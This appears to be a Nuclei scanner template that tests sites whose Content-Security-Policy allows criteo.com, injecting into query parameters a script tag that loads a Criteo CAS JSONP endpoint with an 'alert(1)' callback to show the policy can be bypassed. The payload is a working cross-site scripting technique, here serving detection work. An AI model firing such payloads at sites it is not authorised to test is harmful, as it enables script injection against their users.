id: criteo-cas-csp-bypass

info:
  name: Content-Security-Policy Bypass - Criteo CAS
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,criteo-cas,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "criteo.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: criteo_cas_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://cas.criteo.com/delivery/0.1/napi.jsonp?zoneid=377600&callback=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "criteo_cas_csp_xss == true"
# digest: 490a00463044022079f59031cd16a4978a2ba0e251b2dbdc577c322506a69ecff5e05ec5a799e87902200bf3472afb938c6d62a8119ea6cb017a44eadc4e0842d18352f29dfbe1bb1c3c:922c64590222798bb761d5b6d8e72950